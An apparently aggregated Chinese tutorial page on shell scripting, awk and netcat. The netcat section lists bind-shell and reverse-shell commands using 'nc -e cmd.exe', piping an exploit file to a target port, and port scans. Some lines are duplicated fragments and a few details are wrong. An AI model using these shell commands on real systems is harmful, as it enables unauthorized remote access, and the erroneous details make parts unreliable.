shell命令教程,编写shell脚本的基本步骤是什么?
shell命令教程,编写shell脚本的基本步骤是什么?详细介绍
本文目录一览: Shell基本脚本命令使用教程
1、本地变量:用户私有变量,只有本用户可以访问,保存在家目录的 .bash_profile、.bashrc文件中
2、全局变量:所有用户都可以使用,保存在 /etc/profile 文件中
3、用户自定义变量:用户自定义,比如脚本中的变量
定义变量格式: 变量名=值 (=两边不能有空格)
字符串用单引号或者双引号引起来
shell支持正则表达式的常见命令:grep、sed、awk。
sed 是一个行(流)编辑器,非交互式的对文件内容进行增删改查操作
awk 能够集过滤、提取、运算为一体,它的工作方式是读取数据,将每一行数据视为一条记录,每条记录以字段分隔符分成若干字段,然后输出各个字段的值。平行命令还有 gawk、pgawk、dgawk。
linux shell脚本执行命令详解
在Linux下,如果你需要执行shell脚本,那么应该使用那个命令呢?下面由我为大家整理了linux shell脚本执行命令的相关知识,希望对大家有帮助!
linux shell脚本执行
linux shell脚本执行方法一: 切换到shell脚本所在的目录(此时,称为工作目录)执行shell脚本:
cd /data/shell
./hello.sh
./的意思是说在当前的工作目录下执行hello.sh。如果不加上./,bash可能会响应找到不到hello.sh的错误信息。因为目前的工作目录(/data/shell)可能不在执行程序默认的搜索路径之列,也就是说,不在环境变量PASH的内容之中。查看PATH的内容可用 echo $PASH 命令。现在的/data/shell就不在环境变量PASH中的,所以必须加上./才可执行。
linux shell脚本执行方法二: 以绝对路径的方式去执行bash shell脚本:
/data/shell/hello.sh
linux shell脚本执行方法三: 直接使用bash 或sh 来执行bash shell脚本:
cd /data/shell
bash hello.sh
或
cd /data/shell
sh hello.sh
注意,若是以方法三的方式来执行,那么,可以不必事先设定shell的执行权限,甚至都不用写shell文件中的第一行(指定bash路径)。因为方法三是将hello.sh作为参数传给sh(bash)命令来执行的。这时不是hello.sh自己来执行,而是被人家调用执行,所以不要执行权限。那么不用指定bash路径自然也好理解了啊。
linux shell脚本执行方法四: 在当前的shell环境中执行bash shell脚本:
cd /data/shell
. hello.sh
或
cd /data/shell
source hello.sh
前三种方法执行shell脚本时都是在当前shell(称为父shell)开启一个子shell环境,此shell脚本就在这个子shell环境中执行。shell脚本执行完后子shell环境随即关闭,然后又回到父shell中。而方法四则是在当前shell中执行的。
Win7系统中shell具体命令有哪些?几种常见shell命令
shell不是一个程序,它是一个操控接口,一种对系统的操控权,那么对于shell命令有哪些呢?可能很多新手用户不太了解。今天要给大家介绍的是Win7系统几种常见shell命令,感兴趣的用户一起往些学习下吧。shell:Profile当前登录用户的根目录shell:UsersFilesFolder与shell:profile相同shell:Personal当前登录用户的“我的文档”文件夹shell:MyMusic当前登录用户的“我的音乐”文件夹shell:MyPictures当前登录用户的“我的图片”文件夹shell:MyVideo当前登录用户的“我的视频”文件夹shell:Contacts当前登录用户的联系人文件夹shell:Desktop当前登录用户的桌面文件夹shell:Downloads当前登录用户的下载文件夹shell:Favorites当前登录用户的InternetExplorer浏览器收藏夹shell:Searches当前登录用户的搜索文件夹,保存了已经存储过的搜索结果shell:Links当前登录用户的链接文件夹,保存了InternetExplorer浏览器的导航面板shell:Public访问共享用户文件夹shell:CommonDesktop共享用户桌面shell:CommonDocuments共享用户我的文档shell:CommonDownloads共享用户下载文件夹shell:CommonMusic共享用户音乐文件夹shell:CommonPictures共享用户图片文件夹shell:Cookies和shell:cache查看InternetExplorer存储信息最快捷的方式。shell:programs和shell:CommonPrograms这两个命令可以访问当前用户和系统用户开始菜单中的程序列表。shell:ConnectionsFolder查看当前网络连接shell:CommonStartup和shell:Startup查看系统开机自动启动的程序shell:Profile此命令打开用户的总目录。shell:Personal此命令打开当前用户的文档文件夹。关于以上的这些命令都是可以通过“Win+R”组合键打开运行的,输入到运行框中点击确定打开即可,也可以点击开始菜单,直接输入到搜索框中即可。以上就是Win7系统中shell命令的全部内容了,上述就是shell命令的具体内容,希望此教程对大家有所帮助!
shell awk命令详解
awk命令
awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。
awk命令格式和选项
语法格式
awk [options] 'script' var=value file(s)
awk [options] -f scriptfile var=value file(s)
常用命令选项
-F fs fs 指定输入分隔符,fs可以时字符串或正则表达式
-v var=value 赋值一个用户定义变量,将外部变量传递给awk
-f scriptfile 从脚本文件中读取awk命令
awk脚本
awk脚本是由模式和操作组成的。
模式与操作
模式
模式可以是以下任意一种:
正则表达式:使用通配符的扩展集
关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试
模式匹配表达式:用运算符~(匹配)和~!不匹配
BEGIN 语句块, pattern语句块, END语句块
操作
操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大刮号内,主要部分是:变量或数组赋值、输出命令、内置函数、控制流语句。
awk脚本基本格式
awk 'BEGIN{ commands } pattern{ commands } END{ commands }' file
一个awk脚本通常由BEGIN, 通用语句块,END语句块组成,三部分都是可选的。 脚本通常是被单引号或双引号包住。
awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename
awk "BEGIN{ i=0 } { i++ } END{ print i }" filename
awk执行过程分析
第一步: 执行BEGIN { commands } pattern 语句块中的语句
BEGIN语句块:在awk开始从输入输出流中读取行之前执行,在BEGIN语句块中执行如变量初始化,打印输出表头等操作。
第二步:从文件或标准输入中读取一行,然后执行pattern{ commands }语句块。它逐行扫描文件,从第一行到最后一行重复这个过程,直到全部文件都被读取完毕。
pattern语句块:pattern语句块中的通用命令是最重要的部分,它也是可选的。如果没有提供pattern语句块,则默认执行{ print },即打印每一个读取到的行。{ }类似一个循环体,会对文件中的每一行进行迭代,通常将变量初始化语句放在BEGIN语句块中,将打印结果等语句放在END语句块中。
第三步:当读至输入流末尾时,执行END { command }语句块
END语句块:在awk从输入流中读取完所有的行之后即被执行,比如打印所有行的分析结果这类信息汇总都是在END语句块中完成,它也是一个可选语句块。
AWK内置变量
$n : 当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。
$0 : 这个变量包含执行过程中当前行的文本内容。
ARGC : 命令行参数的数目。
ARGIND : 命令行中当前文件的位置(从0开始算)。
ARGV : 包含命令行参数的数组。
CONVFMT : 数字转换格式(默认值为%.6g)。
ENVIRON : 环境变量关联数组。
ERRNO : 最后一个系统错误的描述。
FIELDWIDTHS : 字段宽度列表(用空格键分隔)。
FILENAME : 当前输入文件的名。
NR : 表示记录数,在执行过程中对应于当前的行号
FNR : 同NR :,但相对于当前文件。
FS : 字段分隔符(默认是任何空格)。
IGNORECASE : 如果为真,则进行忽略大小写的匹配。
NF : 表示字段数,在执行过程中对应于当前的字段数。 print $NF答应一行中最后一个字段
OFMT : 数字的输出格式(默认值是%.6g)。
OFS : 输出字段分隔符(默认值是一个空格)。
ORS : 输出记录分隔符(默认值是一个换行符)。
RS : 记录分隔符(默认是一个换行符)。
RSTART : 由match函数所匹配的字符串的第一个位置。
RLENGTH : 由match函数所匹配的字符串的长度。
SUBSEP : 数组下标分隔符(默认值是34)。
将外部变量值传递给awk
借助 -v 选项,可以将来自外部值(非stdin)传递给awk
VAR=10000
echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
定义内部变量接收外部变量
var1="aaa"
var2="bbb"
echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2
当输入来自文件时
awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename
awk运算
算术运算:(+,-,*,/,&,!,……,++,--)
所有用作算术运算符进行操作时,操作数自动转为数值,所有非数值都变为0
赋值运算:(=, +=, -=,*=,/=,%=,……=,**=)
逻辑运算符: (||, &&)
关系运算符:(<, <=, >,>=,!=, ==)
正则运算符:(~,~!)(匹配正则表达式,与不匹配正则表达式)
awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}'
ok
awk高级输入输出
读取下一条记录:next 语句
awk中next语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。net语句一般用于多行合并:
awk 'NR%2==1{next}{print NR,$0;}' text.txt
说明: 当记录行号除以2余1,就跳过当前行。下面的print NR,$0也不会执行。下一行开始,程序有开始判断NR%2值。这个时候记录行号是:2 ,就会执行下面语句块:print NR,$0
读取一行记录:getline 语句
awk getline用法:输出重定向需用到getline函数。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。
语法格式:getline var 变量var包含了特定行的内容
用法说明:
当其左右无重定向符时|,
<时:getline作用于当前文件,读入当前文件的第一行给其后跟的变量var或$0(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
当其左右有重定向符时|,
<时:getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
文件操作
打开文件 open("filename")
关闭文件 close("filename")
输出到文件 重定向到文件,如echo | awk '{printf("hello word!n") > "datafile"}'
循环结构
for循环
for(变量 in 数组)
{语句}
for(变量;条件;表达式)
{语句}
while循环
while(表达式)
{语句}
do...while循环
do
{语句} while(条件)
其他相关语句
break:退出程序循环
continue: 进入下一次循环
next:读取下一个输入行
exit:退出主输入循环,进入END,若没有END或END中有exit语句,则退出脚本。
数组
在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。
awk 'BEGIN{
Array[1]="sun"
Array[2]="kai"
Array["first"]="www"
Array["last"]="name"
Array["birth"]="1987"
info = "it is a test";
lens = split(info,tA," ");
for(item in tA)
{print tA[item];}
for(i=1;i<=lens;i++)
{print tA[i];}
print length(tA[lens]);
} {
print "item in array";
for(item in Array) {print Array[item]};
print "print in i++";
for(i=1;i<=length(Array);i++) {print Array[i]};
}'
获取数组长度
awk 'BEGIN{
info="it is a test";
lens=split(info,tA," "); #使用split函数获取数组长度
print length(tA),lens; #使用length函数获取数组长度(版本有要求)
}'
**说明:** **版本够高**的awk当中,支持直接得到数组长度的方法length(),如果awk的版本过低,则不支持。另外,如果传给length的变量是一个字符串,那么length返回的则字符串的长度。
输出数组内容
有序输出 for...in
因为数组时关联数组,默认是无序的
无序输出 for(i=1;i
<l=ens;i++)
数组下标从1开始
判断键值是否存在
#错误的判断方法,awk数组是关联数组,只要通过数组引用它的KEY,就会自动创建。
awk 'BEGIN{
tB["a"]="a1";
tB["b"]="b1";
if(tB["c"]!="1"){ #tB["c"]没有定义,但是循环的时候会输出
print "no found";
};
for(k in tB){
print k,tB[k];
}}'
#正确的判定方法:使用 if ( key in array) 判断数组中是否包含 键值
awk 'BEGIN{
tB["a"]="a1";
tB["b"]="b1";
if( "c" in tB){
print "ok";
};
for(k in tB){
print k,tB[k];
}}'
删除键值
delete array[key]可以删除,对应数组key的,序列值。
awk 'BEGIN{
tB["a"]="a1";
tB["b"]="b1";
delete tB["a"];
for(k in tB){
print k,tB[k];
}}'
二维,多维数组
awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,array[2,4]=1这样的访问是允许的。awk使用一个特殊的字符串SUBSEP作为分割字段。 类似一维数组的成员测试,多维数组可以使用if ( (i,j) in array)这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用for ( item in array )这样的语法遍历数组。与一维数组不同的是,多维数组必须使用split()函数来访问单独的下标分量。
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
tarr[i,j]=i*j;
print i,"*",j,"=",tarr[i,j];
}
}
}'
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
tarr[i,j]=i*j; } }
for(m in tarr){
split(m,tarr2,SUBSEP);
print tarr2[1],"*",tarr2[2],"=",tarr[m]; } }'
内置函数
算术函数
格式 描述
atan2( y, x ) 返回 y/x 的反正切。
cos( x ) 返回 x 的余弦;x 是弧度。
sin( x ) 返回 x 的正弦;x 是弧度。
exp( x ) 返回 x 幂函数。
log( x ) 返回 x 的自然对数。
sqrt( x ) 返回 x 平方根。
int( x ) 返回 x 的截断至整数的值。
rand( ) 返回任意数字 n,其中 0 <= n < 1。
srand( [expr] ) 将 rand 函数的种子值设置为 Expr 参数的值,或如果省略 Expr 参数则使用某天的时间。返回先前的种子值。
awk 'BEGIN{
OFMT="%.3f"; #OFMT 设置输出数据格式是保留3位小数。
fs=sin(1);
fe=exp(10);
fl=log(10);
fi=int(3.1415);
print fs,fe,fl,fi;
}'
输出结果为:0.841 22026.466 2.303 3
awk 'BEGIN{
srand();
fr=int(100*rand());
print fr;
}'
输出:78
字符串函数
格式 描述
gsub( Ere, Repl, [ In ] ) 除了正则表达式所有具体值被替代这点,它和 sub 函数完全一样地执行。
sub( Ere, Repl, [ In ] ) 用 Repl 参数指定的字符串替换 In 参数指定的字符串中的由 Ere 参数指定的扩展正则表达式的第一个具体值。sub 函数返回替换的数量。出现在 Repl 参数指定的字符串中的 &(和符号)由 In 参数指定的与 Ere 参数的指定的扩展正则表达式匹配的字符串替换。如果未指定 In 参数,缺省值是整个记录($0 记录变量)。
index( String1, String2 ) 在由 String1 参数指定的字符串(其中有出现 String2 指定的参数)中,返回位置,从 1 开始编号。如果 String2 参数不在 String1 参数中出现,则返回 0(零)。
length [(String)] 返回 String 参数指定的字符串的长度(字符形式)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。
blength [(String)] 返回 String 参数指定的字符串的长度(以字节为单位)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。
substr( String, M, [ N ] ) 返回具有 N 参数指定的字符数量子串。子串从 String 参数指定的字符串取得,其字符以 M 参数指定的位置开始。M 参数指定为将 String 参数中的第一个字符作为编号 1。如果未指定 N 参数,则子串的长度将是 M 参数指定的位置到 String 参数的末尾 的长度。
match( String, Ere ) 在 String 参数指定的字符串(Ere 参数指定的扩展正则表达式出现在其中)中返回位置(字符形式),从 1 开始编号,或如果 Ere 参数不出现,则返回 0(零)。RSTART 特殊变量设置为返回值。RLENGTH 特殊变量设置为匹配的字符串的长度,或如果未找到任何匹配,则设置为 -1(负一)。
tolower( String ) 返回 String 参数指定的字符串,字符串中每个大写字符将更改为小写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。
toupper( String ) 返回 String 参数指定的字符串,字符串中每个小写字符将更改为大写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。
sprintf(Format, Expr, Expr, . . . ) 根据 Format 参数指定的 printf 子例程格式字符串来格式化 Expr 参数指定的表达式并返回最后生成的字符串。
说明: Ere都可以是正则表达式。
时间函数
格式 描述
mktime( YYYY MM dd HH MM ss[ DST]) 生成时间格式
strftime([format [, timestamp]]) 格式化时间输出,将时间戳转为时间字符串 具体格式,见下表.
systime() 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数
strftime日期和时间格式说明符 :
格式 描述
%a 星期几的缩写(Sun)
%A 星期几的完整写法(Sunday)
%b 月名的缩写(Oct)
%B 月名的完整写法(October)
%c 本地日期和时间
%d 十进制日期
%D 日期 08/20/99
%e 日期,如果只有一位会补上一个空格
%H 用十进制表示24小时格式的小时
%I 用十进制表示12小时格式的小时
%j 从1月1日起一年中的第几天
%m 十进制表示的月份
%M 十进制表示的分钟
%p 12小时表示法(AM/PM)
%S 十进制表示的秒
%U 十进制表示的一年中的第几个星期(星期天作为一个星期的开始)
%w 十进制表示的星期几(星期天是0)
%W 十进制表示的一年中的第几个星期(星期一作为一个星期的开始)
%x 重新设置本地日期(08/20/99)
%X 重新设置本地时间(12:00:00)
%y 两位数字表示的年(99)
%Y 当前月份
%Z 时区(PDT)
%% 百分号(%)
#mktime使用
awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}'
输出:2001年01月01日 星期一 12时12分12秒
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}'
输出:2634468
#求2个时间段中间时间差,介绍了strftime使用方法
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}'
输出:308201392
其他一般函数
格式 描述
close( Expression ) 用同一个带字符串值的 Expression 参数来关闭由 print 或 printf 语句打开的或调用getline 函数打开的文件或管道。如果文件或管道成功关闭,则返回 0;其它情况下返回非零值。如果打算写一个文件,并稍后在同一个程序中读取文件,则 close 语句是必需的。
system(command ) 执行 Command 参数指定的命令,并返回退出状态。等同于 system 子例程。
Expression | getline [ Variable ] 从来自 Expression 参数指定的命令的输出中通过管道传送的流中读取一个输入记录,并将该记录的值指定给 Variable 参数指定的变量。如果当前未打开将 Expression 参数的值作为其命令名称的流,则创建流。创建的流等同于调用 popen 子例程,此时 Command 参数取 Expression 参数的值且 Mode 参数设置为一个是 r 的值。只要流保留打开且 Expression 参数求得同一个字符串,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。
getline [ Variable ] < Expression 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。
getline [ Variable ] 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。
#打开外部文件(close用法)
awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}'
输出: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
#逐行读取外部文件(getline使用方法)
awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}'
输出:root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
awk 'BEGIN{print "Enter your name:";getline name;print name;}'
Enter your name:
chengmo
chengmo
#调用外部应用程序(system使用方法) b返回值,是执行结果。
awk 'BEGIN{b=system("ls -al");print b;}'
输出: total 42092 drwxr-xr-x 14 chengmo chengmo 4096 09-30 17:47 . drwxr-xr-x 95 root root 4096 10-08 14:01 ..
</l=ens;i++)
</时:getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
</时:getline作用于当前文件,读入当前文件的第一行给其后跟的变量var或$0(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
xshell如何查看nc文件
1、首先大家需要创建一个xshell服务器会话并准确输入服务器的主机IP地址、端口号、连接协议,以及所使用的互联网协议版本,单击“连接”,通过xshell会话连接到远程服务器上。
?
图1:xshell会话属性界面
2、随后使用linux命令“pwd”查看当前所在的文件夹路径,如果不在想要查看的文件路径下,则可以通过“cd”命令切换到指定路径下。
?
图2:切换路径
3、在xshell终端窗口中输入“vim”加要编辑的文件名称,如下图所示,进入文件编辑器中。
?
图3:打开文本编辑界面
4、在文件编辑页面,初始状态为只读状态,需要点击键盘上的“i”键,切换状态为插入状态,如下图红框所示,此时才可以对文件进行编辑和输入内容,输入完成后点击Esc退出编辑状态,输入“:wq!”进行保存即可。
?
图4:切换输入状态
二、xshell查看文件命令
1、如果仅仅只是为了查看远程服务器内的文件,可以直接使用“cat”加要查看的文件名称或路径命令进行查看。
?
图5:cat命令查看文件
2、除了cat命令以外,还可以使用“less”或者是“more”命令查看文件,more命令和less命令均可以用于在终端页面显示文件,不同的是它们是按页进行显示而不是一次性全部显示,对于显示大文件效果更好。
其中less命令允许用户在显示文件时可以向前翻页或向后翻页,more命令只允许向后翻页。
?
图6:less和more查看文件
三、xshell在文本编辑器中打开远程文件
上述讲到xshell可以直接查看和编辑远程服务器上的文件内容,但是这种在终端查看和编辑的操作对于新手而言可能不是很方便,那么能不能直接调用本地的文本编辑器进行查看编辑呢?
1、首先大家需要使用以上说到的“cat”命令将文件内容在终端上全部显示出来,随后右键终端界面,选择“到文本编辑器”-“当前屏幕”。
?
图7:到文本编辑器
2、此时就可以将终端当前屏幕中所展示的文件内容全部在文本编辑器上打开并编辑,如下图所示。
?
图8:文本编辑器查看终端内容
上述就是有关xshell怎样在文件中输入内容,xshell查看文件命令的操作教程,xshell通过SSH协议使得用户可轻松安全地连接到远程机器上并执行操作,无桌面模式也使得网络基本不会成为远程连接的瓶颈限制。小伙伴们如果也有远程连接Linux系统需求,可以前往xshell中文网站上下载软件。
发送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 < test.txt【监听6666端口,等待连接】(设发送端IP为10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt想要连接到某处: nc [-options] hostname port[s] [ports] ...绑定端口等待连接: nc -l -p port [-options] [hostname] [port]语 法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主机名称][通信端 口...]补充说明:执行本指令可设置路由器的相关参数。参 数:-g 设置路由器跃程通信网关,最丢哦可设置8个。-G 设置来源路由指向器,其数值为4的倍数。-h 在线帮助。-i 设置时间间隔,以便传送信息及扫描通信端口。-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器。-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w 设置等待连线的时间。-z 使用0输入/输出模式,只在扫描通信端口时使用。另外,nc命令也可用于端口扫描:nc -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号TCP端口;nc -u -v -z -w2 10.20.133.152 1-14000可以扫描10.20.133.152主机上的1~14000号UDP端口。
nc是一款很不错的网络检测工具,以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令""等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'
改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿
posted on 2010-10-28 10:03 flyonok 阅读(2176) 评论(0) 编辑 收藏 引用 所属分类: linux
Linux Shell 教程——想玩转linux就请一直看下去
Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。
Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。
Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。
Shell 在线工具
Shell 脚本(shell script),是一种为 shell 编写的脚本程序。
业界所说的 shell 通常都是指 shell 脚本,但读者朋友要知道,shell 和 shell script 是两个不同的概念。
由于习惯的原因,简洁起见,本文出现的 "shell编程" 都是指 shell 脚本编程,不是指开发 shell 自身。
Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。
Linux 的 Shell 种类众多,常见的有:
在一般情况下,人们并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh ,它同样也可以改为 #!/bin/bash 。
#! 告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。
打开文本编辑器(可以使用 vi/vim 命令来创建文件),新建一个文件 test.sh,扩展名为 sh(sh代表shell),扩展名并不影响脚本执行,见名知意就好,如果你用 php 写 shell 脚本,扩展名就用 php 好了。
输入一些代码,第一行一般是这样:
#!/bin/bash echo "Hello World !"
运行实例 ?
#! 是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行,即使用哪一种 Shell。
echo 命令用于向窗口输出文本。
1、作为可执行程序
将上面的代码保存为 test.sh,并 cd 到相应目录:
注意,一定要写成 ./test.sh ,而不是 test.sh ,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。
2、作为解释器参数
这种运行方式是,直接运行解释器,其参数就是 shell 脚本的文件名,如:
这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用。
阐述shell程序的执行和跟踪方法
Shell是什么? 任何发明都具有供用户使用的界面。UNIX供用户使用的界面就是Shell(DOS的command熟悉吧,但UNIX的要强大的多)。 Shell为用户提供了输入命令和参数并可得到命令执行结果的环境。 为了不同的需要,UNIX提供了不同的Shell。现在的UNIX大部分都支持BourneShell,以下教程就以BourneShell(Bsh)为例,一步步的领略UNIX Shell的强大功能,占先其强大魅力,达到更方便灵活的管理、应用UNIX的目的。 1.UNIX内核和Shell的交互方法 启动UNIX时,程序UNIX(内核)将被调入计算机内存,并一直保留在内存中直到机器关闭。在引导过程中,程序init将进入后台运行一直到机器关闭。该程序查询文件/etc/inittab,该文件列出了连接终端的各个端口及其特征。当发现一个活动的终端时,init程序调用getty程序在终端上显示login等登陆信息。(username和passwd),在输入密码后,getty调用login进程,该进程根据文件/etc/passwd的内容来验证用户的身份。若用户通过身份验证,login进程把用户的home目录设置成当前目录并把控制交给一系列setup程序。setup程序可以是指定的应用程序,通常setup程序为一个Shell程序,如:/bin/sh 即Bourne Shell(command出来了,呵呵)。 得到控制后,Shell程序读取并执行文件/etc/.profile以及.profile。这两个文件分别建立了系统范围内的和该用户自己的工作环境。最后Shell显示命令提示符,如$。(这是以bsh为例,若是csh,为.cshrc,ksh为.kshrc,bash为.bashrc等等) 注不妨把/etc/.profile和.profile看成DOS的autoexec.bat 或config.sys文件) 当shell退出时,内核把控制交给init程序,该程序重新启动自动登陆过程。有两种方法使shell退出,一是用户执行exit命令,二是内核(例如root用kill命令)发出一个kill命令结束shell进程。shell退出后,内核回收用户及程序使用的资源。 用户登陆后,用户命令同计算机交互的关系为:命令进程--->Shell程序--->UNIX内核--->计算机硬件。当用户输入一个命令,如$ls, Shell将定位其可执行文件/bin/ls并把其传递给内核执行。内核产生一个新的子进程调用并执行/bin/ls。当程序执行完毕后,内核取消 该子进程并把控制交给其父进程,即Shell程序。例如执行: $ps 该命令将会列出用户正在执行的进程,即Shell程序(下来详细说说,别急现在)和ps程序。若执行: $sleep 10 & $ps 其中第一条命令将产生一个在后台执行的sleep子进程。ps命令执行时会显示出该子进程。 每当用户执行一条命令时,就会产生一个子进程。该子进程的执行与其父进程或Shell完全无关,这样可以使Shell去做其他工作。(Shell只是把用户的意图告诉内核,然后该干嘛干嘛) 